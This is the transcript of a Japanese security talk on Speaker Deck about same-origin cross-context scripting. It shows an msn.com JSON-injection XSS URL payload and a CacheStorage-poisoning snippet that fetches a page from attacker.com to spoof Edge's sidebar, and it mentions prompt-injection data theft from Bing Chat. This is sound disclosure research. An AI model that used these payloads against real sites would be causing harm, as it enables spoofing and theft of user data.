Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Same-Origin Cross-Context Scripting
Search
Jun Kokatsu
January 05, 2024
0
1k
Same-Origin Cross-Context Scripting
Shibuya.XSS techtalk #12で登壇した際の資料です。
Jun Kokatsu
January 05, 2024
Tweet
Share
More Decks by Jun Kokatsu
See All by Jun Kokatsu
Operating Operator
shhnjk
1
1.1k
Piloting Edge Copilot
shhnjk
1
1.3k
The world of Site Isolation and compromised renderer
shhnjk
1
2.9k
Site Isolationの話
shhnjk
5
2k
ブラウザセキュリティ機能は バイパスされる為にある
shhnjk
8
4k
Logically Bypassing Browser Security Boundaries
shhnjk
5
3.3k
Featured
See All Featured
Reflections from 52 weeks, 52 projects
jeffersonlam
355
21k
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
11
930
Embracing the Ebb and Flow
colly
88
4.9k
Fashionably flexible responsive web design (full day workshop)
malarkey
407
66k
Optimising Largest Contentful Paint
csswizardry
37
3.5k
The Art of Programming - Codeland 2020
erikaheidi
56
14k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Building Adaptive Systems
keathley
44
2.8k
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
132
19k
Agile that works and the tools we love
rasmusluckow
331
21k
Build The Right Thing And Hit Your Dates
maggiecrowley
38
2.9k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
31
2.7k
Transcript
Same-Origin Cross-Context Scripting Jun Kokatsu
• @shhnjk • Googleでウェブセキュリティの仕事をしてます。 • 以前はMicrosoft Edgeのセキュリティチームにいました。
今日の話 • 最近、XSSを見つけたページとは別の同一オリジンページを悪用する場面に遭遇 する。 • windowオブジェクトの参照が出来ない場合にどのように同一オリジン内の別の ページでスクリプトを実行できるかという話。
MSNのXSS ocidパラメータがheadタグのdata-client-settings属性内のJSONに反映される。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。 ↓ XSS
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。 • Service Workerがインストールされている。
Edge Sidebarの偽装 Service WorkerがあるならCacheStorageを汚染してXSSからSidebar偽装まででき る。 caches.open('homepage-base-V1').then(async (cache) => { let
html = await fetch('https://attacker.com/spoof_page').then(r=>r.text()); let init = { headers: { 'Content-Type': 'text/html' } }; cache.put('/widgets/fullpage/gaming/widget?experiences=CasualGamesHub& sharedHeader=1', new Response(html, init)); });
https://youtu.be/HWk270-N-EA
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
edgeservices.bing.comにXSSがあれば 任意のページ情報を抜き取れる?
XSS発見! https://youtu.be/ar1-Re4OBNw
しかし… • localStorageやCookieを見てみたが、Sidebar内のBing ChatにXSSが出来そう なガジェットはみつからず😭 • Bing ChatはService WorkerやShared WorkerやBroadcast
Channelも使って いなかった。
Webアプリでもこの様な状況は起きるのか? COOPを設定しているサイトにフレームが埋め込まれている場合、そのフレーム内で のみ与えられる情報や権限がある場合に同じ状況が起こりうる。 vulnerable.example/XSSable vulnerable.example trusted.example COOP: same-origin <iframe src=//vulnerable.example
allow=geolocation>
今後SOPの概念が変わる可能性も? • 今まではXSSが出来ればそのオリジン内がアクセス出来るのどのような情報で もSOPの恩恵により取得できていた。 • しかしStorage PartitioningやThird-Party Cookieの廃止などで、オリジンの 持っている情報がコンテキストによって変化するようになる。 •
上記が実際にデフォルトになった場合、サイトによってはアラートを出すだけで は十分に悪用できるバグと判断されない可能性も。
最後に Bing ChatのPrompt Injectionを使ってページ情報を取得する猛者が登場。 https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/
Bing ChatのPrompt Injection • アラートばかり出していたら負けてしまうので、 Prompt Injectionを探してみた。 https://youtu.be/AM9OpuEPJIk
Questions? I can Google it for you 😊